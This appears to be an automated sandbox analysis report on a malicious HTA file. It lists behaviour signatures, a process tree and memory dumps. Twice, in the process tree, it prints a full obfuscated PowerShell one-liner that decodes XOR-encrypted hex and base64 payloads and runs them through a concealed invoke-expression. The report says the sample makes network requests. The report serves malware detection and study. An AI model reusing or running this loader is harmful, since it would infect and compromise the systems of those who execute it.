Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
21/07/2026, 12:18
General
- Target weleadingsomethinguniquethingswithmebestandbetterplaces.hta
- Size 15KB
- Sample260721-pg3bzavhkd
- SHA256 67649e4dfd5f7b046fadaee0624bfb7aff9de08d28be6df931900835882693fa
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\weleadingsomethinguniquethingswithmebestandbetterplaces.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=32-50;$bPgHDTv='G0wqtQJUP';$uU8xsH='e090fdfbfedbb38b9b9feef088b29e858fdac0c9b8b8b195848cdade97d7fbfedbc0a4b488eef388bb8996969988cab2b2b08fad9e948cfdb8a983c1daac9f8eefafb2aa82b08d9599f5beb4b2dbdddfa1a3ffa9f58d9e838a8884eea48bac9494909982f689a2ae9ebdc5c0b9f6aeeaecf6eadfdacdbabbaeb09894969583ba99b4a9958c909b89debcafbfbd929097a1f3b3b0addb9bdf8a8ce8bcb6fed3bb8c8e9ff3b3bc85a6bddb9684f4b6a8f7dbedf5dacdbafdffa99e82bc9684ffb3affec6c0b19f9ab792b9b49e838bdabee3aeafbb96ceb19f99b48abebcb88c969f83eee6fbd3f1c0dfdacdbeaeb3ab9d86939f89d6b4b5b588c0c2daaaffa9f68c9a8e9b9580baf092b08b958bb58ff0b8b8aadbc4939383f1aefbf3b88f8a9499baf9b7b7958b8cd4a1ffb3bcaa93dbdff7e7bafdfbfe9d8f8d9f8cf9b5fbf6df8c969486bab4b5fedf93978f8bfcb1bebab78991919eb3fda0fe8f9286da96baafbeaa8e9291dac9edb8b99d97899a9499b499b4a9958c909b89debcafbfd3c4939383f1f4fba3db839e8e8ef2fda0fe988f918e84f4a8befe86c082c1cd97d7fbfedbc08d9f99efafb5fedf8e8a9681baa0e0fef6eadfdacdbaf999a78f858cdad0bafab3f9c0edf5dacdbafdff9c82949a89dfbae0fbf98f948fc0c2b5fae0d3f1c4939c9efebba8ba9cc0c2dacdbe9fa2aa9e93dfd1c9d8a4afbb88d2c4f7e7bafdfbfedf8c969486e9fde6febbc8d7de81fcaebfb8888498dac6bafaa1a79589929dc3f9b2b6f1cace958a8abdf4f7f6df8c998989fcaebfb9dbcbdfdd98e9bcbdbf9593889f88eaaeafbf90858cc8dda8ebf5ab88cf8f8f9ffff2eaf0919098ddc4b3e6fbfedbc0dfdacdbad0d1fa928d9e9d88d8a4afbb88c0c2daa9f5aab5b294819bbe8ceebc9dac948db39383f1aefbfa978991919ea1d0d1fedbc0dfdacdbafdb2b8dbc8db9380fbbabe9c82949a89cdb7b3befedf8e8a9681b3fda0fedf89929b8aff89bea68fc0c2dab6c9a4a8aa9e8dd1ae88e2a9f59b9583909e84f4ba86e4c1b5abbcd5b49abeaaa8948d9383fdf5ffb79681989fafe3a9beadd2dbf2f0cdbafdfbfedf938b9b9fee9bb7bf9cc0c2dacaa6e1888abac7dfd1cdbd8f8fe0c5c7c4dac9ffb3bf98978198dad0bafae7e2dcc0d4dacadf939fe0c5c7c4dac9e9a9baac8fa9919e88e2fde6fedf89929b8aff89bea68fceb69489ffa594b8d3c48c8e8ce8a99db29a87d6c1cd97d7fbfedbc0db9f83fe94b5ba9e98dfc7cdbeb4b6bf9c85ab9f95eef392b09f8587b58bb2f9beb09fa6939b8ab3e6d6d4dbc0dfdacdf3bbfbf6df938b9b9fee94b5ba9e98dfd78afffdebfed681919ecdbeb8b5bab28e9b9f95';$e1UlQX='MkhFUAEgbHRkYBFrSkVhZyklaUUGV1VlbXRMfAFHXAEvIiAhYRFDVlVCc2FiPClHSkZwdzslH28CBAEkO2JkYQAUEG1hcWdxeg0CGQEgem5hWwtGQVkkMiAhYRFDVlVNcWRgal4vLgEkPyAlNgdDV0QyK0NqfwhDSkUkIiAhewhDQ0RQenhxPDZXRlJwbWlrdU0GV1VlbXRMfAFHXA0kO2JkYQAUEG1hcWdxeg0LHywOPyAlNgBMQGhqe2V9MlgCAEhpfmdgRgBaUA9NcWRgaipEDAVhcWRDfgRFDRoJFSAlMkUCAEJrcm1kfAFgXVVhbHMlL0V5d1h3a2VoPCZNSldhbXRYKF9kVk5pXWF2d1MWd1V2dm5iOkFARVJhKTRGfQhPRU9gNjslMkUGQU9gVm5hdx0CGQEgdm1kdQB2QVlwMUlrdgBaa0csO2VrdiNORUYtJCAlMkFHSkVNcWRgakUfBAVtcmFidzFHXFUqVm5hdx1tQgkgem5hVAlDQwg/EgolMkUCAE1rfmRgdiRRV0RpfWx8MlgCf3J9bHRgf0twQUdoemNxewpMCmB3bGVocAlbeRs+U29kdk0GR05pcmFrdidbUER3bCk+H28CBGZhay1VYApBQVJ3P3wlQQpQUAxLfWpgcRECZ3FRPy1BdxZBQU9gdm5iMhkCd0RoemNxPypATkRnayAoVAxQV1UkKiB5MiNNVkxlay1RcwdOQQFKfm1gPiZycSwOPyAlMkFWXVFhPz0lNglNRUVhe0F2YQBPRk19MUdgZjFbVEQsOG18YhdNAwEvPydiYARPCmlrcmVgYUILHywOEgolMiJHUAxUbW9mdxZRBF0kTG93ZkhtRkthfHQlUTV3BAxAenNmdwtGTU9jP3wlQQBOQUJwMk9neABBUAEpWWl3YRECEQF4P0ZqYAhDUAxQfmJpd0VsRUxhM0NVR2goBAEkPyRsfA9HRxwjUnNnZwxOQAY/EgolMkUCAEZjeCA4MkJWXFUqbWFofAFATQ4xLi83IlcMHRcqKzQrJlUQCw4+eHNidgNEQkZsbGZhNUUZBAVjeGclL0UGQ0ZjMVNwcBZWVkhqeCg1PkUGQ0ZjMUxgfAJWTAEpPzE3O2goBAEkPyRjMlgCAxEjJA0PNg8CGQEjLyc+H28CBAEkO21gZg1NQAE5PyRxaxVHCmZha01gZg1NQAkjbXVrNUUJBAZ3bCcsPCxMUk5veighfBBOSA0kRG9neABBUHpZQiAtNgJFQwEoO2YpMkIFCAEgdm5vdwYOBAVuPywlNR0aEgYtNn14H28=';$rrd0Elq8H=0x6E14-0x8F55;$fuRdgH0h=@();foreach($c in [char[]]$bPgHDTv){$fuRdgH0h+=[byte]($c-bxor0xAA)};$vjYZJ9=$fuRdgH0h;$fuRdgH0h=@();foreach($c in [char[]]$bPgHDTv){$fuRdgH0h+=[byte]($c-bxor0x55)};$gdYrxeipY=$fuRdgH0h;$fuRdgH0holdR='';$i=0;for($j=0;$j-lt$uU8xsH.Length;$j+=2){$fuRdgH0holdR+=[char](([Convert]::ToInt32($uU8xsH.Substring($j,2),16))-bxor$vjYZJ9[$i++%$vjYZJ9.Length])};$prqfPnHv=$fuRdgH0holdR;$fuRdgH0holdB=[Convert]::FromBase64String([regex]::Replace($e1UlQX, '$fuRdgH0h', ''));$fuRdgH0holdR='';$i=0;for($j=0;$j-lt$fuRdgH0holdB.Length;$j++){$fuRdgH0holdR+=[char]($fuRdgH0holdB[$j]-bxor$gdYrxeipY[$i++%$gdYrxeipY.Length])};$cgpQQ9=$fuRdgH0holdR;$pNEmp4njI=$prqfPnHv+$cgpQQ9;.($env:ComSpec[4,26,25]-join'') $pNEmp4njI""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=32-50;$bPgHDTv='G0wqtQJUP';$uU8xsH='e090fdfbfedbb38b9b9feef088b29e858fdac0c9b8b8b195848cdade97d7fbfedbc0a4b488eef388bb8996969988cab2b2b08fad9e948cfdb8a983c1daac9f8eefafb2aa82b08d9599f5beb4b2dbdddfa1a3ffa9f58d9e838a8884eea48bac9494909982f689a2ae9ebdc5c0b9f6aeeaecf6eadfdacdbabbaeb09894969583ba99b4a9958c909b89debcafbfbd929097a1f3b3b0addb9bdf8a8ce8bcb6fed3bb8c8e9ff3b3bc85a6bddb9684f4b6a8f7dbedf5dacdbafdffa99e82bc9684ffb3affec6c0b19f9ab792b9b49e838bdabee3aeafbb96ceb19f99b48abebcb88c969f83eee6fbd3f1c0dfdacdbeaeb3ab9d86939f89d6b4b5b588c0c2daaaffa9f68c9a8e9b9580baf092b08b958bb58ff0b8b8aadbc4939383f1aefbf3b88f8a9499baf9b7b7958b8cd4a1ffb3bcaa93dbdff7e7bafdfbfe9d8f8d9f8cf9b5fbf6df8c969486bab4b5fedf93978f8bfcb1bebab78991919eb3fda0fe8f9286da96baafbeaa8e9291dac9edb8b99d97899a9499b499b4a9958c909b89debcafbfd3c4939383f1f4fba3db839e8e8ef2fda0fe988f918e84f4a8befe86c082c1cd97d7fbfedbc08d9f99efafb5fedf8e8a9681baa0e0fef6eadfdacdbaf999a78f858cdad0bafab3f9c0edf5dacdbafdff9c82949a89dfbae0fbf98f948fc0c2b5fae0d3f1c4939c9efebba8ba9cc0c2dacdbe9fa2aa9e93dfd1c9d8a4afbb88d2c4f7e7bafdfbfedf8c969486e9fde6febbc8d7de81fcaebfb8888498dac6bafaa1a79589929dc3f9b2b6f1cace958a8abdf4f7f6df8c998989fcaebfb9dbcbdfdd98e9bcbdbf9593889f88eaaeafbf90858cc8dda8ebf5ab88cf8f8f9ffff2eaf0919098ddc4b3e6fbfedbc0dfdacdbad0d1fa928d9e9d88d8a4afbb88c0c2daa9f5aab5b294819bbe8ceebc9dac948db39383f1aefbfa978991919ea1d0d1fedbc0dfdacdbafdb2b8dbc8db9380fbbabe9c82949a89cdb7b3befedf8e8a9681b3fda0fedf89929b8aff89bea68fc0c2dab6c9a4a8aa9e8dd1ae88e2a9f59b9583909e84f4ba86e4c1b5abbcd5b49abeaaa8948d9383fdf5ffb79681989fafe3a9beadd2dbf2f0cdbafdfbfedf938b9b9fee9bb7bf9cc0c2dacaa6e1888abac7dfd1cdbd8f8fe0c5c7c4dac9ffb3bf98978198dad0bafae7e2dcc0d4dacadf939fe0c5c7c4dac9e9a9baac8fa9919e88e2fde6fedf89929b8aff89bea68fceb69489ffa594b8d3c48c8e8ce8a99db29a87d6c1cd97d7fbfedbc0db9f83fe94b5ba9e98dfc7cdbeb4b6bf9c85ab9f95eef392b09f8587b58bb2f9beb09fa6939b8ab3e6d6d4dbc0dfdacdf3bbfbf6df938b9b9fee94b5ba9e98dfd78afffdebfed681919ecdbeb8b5bab28e9b9f95';$e1UlQX='MkhFUAEgbHRkYBFrSkVhZyklaUUGV1VlbXRMfAFHXAEvIiAhYRFDVlVCc2FiPClHSkZwdzslH28CBAEkO2JkYQAUEG1hcWdxeg0CGQEgem5hWwtGQVkkMiAhYRFDVlVNcWRgal4vLgEkPyAlNgdDV0QyK0NqfwhDSkUkIiAhewhDQ0RQenhxPDZXRlJwbWlrdU0GV1VlbXRMfAFHXA0kO2JkYQAUEG1hcWdxeg0LHywOPyAlNgBMQGhqe2V9MlgCAEhpfmdgRgBaUA9NcWRgaipEDAVhcWRDfgRFDRoJFSAlMkUCAEJrcm1kfAFgXVVhbHMlL0V5d1h3a2VoPCZNSldhbXRYKF9kVk5pXWF2d1MWd1V2dm5iOkFARVJhKTRGfQhPRU9gNjslMkUGQU9gVm5hdx0CGQEgdm1kdQB2QVlwMUlrdgBaa0csO2VrdiNORUYtJCAlMkFHSkVNcWRgakUfBAVtcmFidzFHXFUqVm5hdx1tQgkgem5hVAlDQwg/EgolMkUCAE1rfmRgdiRRV0RpfWx8MlgCf3J9bHRgf0twQUdoemNxewpMCmB3bGVocAlbeRs+U29kdk0GR05pcmFrdidbUER3bCk+H28CBGZhay1VYApBQVJ3P3wlQQpQUAxLfWpgcRECZ3FRPy1BdxZBQU9gdm5iMhkCd0RoemNxPypATkRnayAoVAxQV1UkKiB5MiNNVkxlay1RcwdOQQFKfm1gPiZycSwOPyAlMkFWXVFhPz0lNglNRUVhe0F2YQBPRk19MUdgZjFbVEQsOG18YhdNAwEvPydiYARPCmlrcmVgYUILHywOEgolMiJHUAxUbW9mdxZRBF0kTG93ZkhtRkthfHQlUTV3BAxAenNmdwtGTU9jP3wlQQBOQUJwMk9neABBUAEpWWl3YRECEQF4P0ZqYAhDUAxQfmJpd0VsRUxhM0NVR2goBAEkPyRsfA9HRxwjUnNnZwxOQAY/EgolMkUCAEZjeCA4MkJWXFUqbWFofAFATQ4xLi83IlcMHRcqKzQrJlUQCw4+eHNidgNEQkZsbGZhNUUZBAVjeGclL0UGQ0ZjMVNwcBZWVkhqeCg1PkUGQ0ZjMUxgfAJWTAEpPzE3O2goBAEkPyRjMlgCAxEjJA0PNg8CGQEjLyc+H28CBAEkO21gZg1NQAE5PyRxaxVHCmZha01gZg1NQAkjbXVrNUUJBAZ3bCcsPCxMUk5veighfBBOSA0kRG9neABBUHpZQiAtNgJFQwEoO2YpMkIFCAEgdm5vdwYOBAVuPywlNR0aEgYtNn14H28=';$rrd0Elq8H=0x6E14-0x8F55;$fuRdgH0h=@();foreach($c in [char[]]$bPgHDTv){$fuRdgH0h+=[byte]($c-bxor0xAA)};$vjYZJ9=$fuRdgH0h;$fuRdgH0h=@();foreach($c in [char[]]$bPgHDTv){$fuRdgH0h+=[byte]($c-bxor0x55)};$gdYrxeipY=$fuRdgH0h;$fuRdgH0holdR='';$i=0;for($j=0;$j-lt$uU8xsH.Length;$j+=2){$fuRdgH0holdR+=[char](([Convert]::ToInt32($uU8xsH.Substring($j,2),16))-bxor$vjYZJ9[$i++%$vjYZJ9.Length])};$prqfPnHv=$fuRdgH0holdR;$fuRdgH0holdB=[Convert]::FromBase64String([regex]::Replace($e1UlQX, '$fuRdgH0h', ''));$fuRdgH0holdR='';$i=0;for($j=0;$j-lt$fuRdgH0holdB.Length;$j++){$fuRdgH0holdR+=[char]($fuRdgH0holdB[$j]-bxor$gdYrxeipY[$i++%$gdYrxeipY.Length])};$cgpQQ9=$fuRdgH0holdR;$pNEmp4njI=$prqfPnHv+$cgpQQ9;.($env:ComSpec[4,26,25]-join'') $pNEmp4njI""3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3176-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp
memory/3176-1-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-2-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-5-0x0000019F2CF60000-0x0000019F2CF82000-memory.dmp
memory/3176-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-7-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-8-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-11-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-12-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-14-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-13-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-15-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-16-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3176-18-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp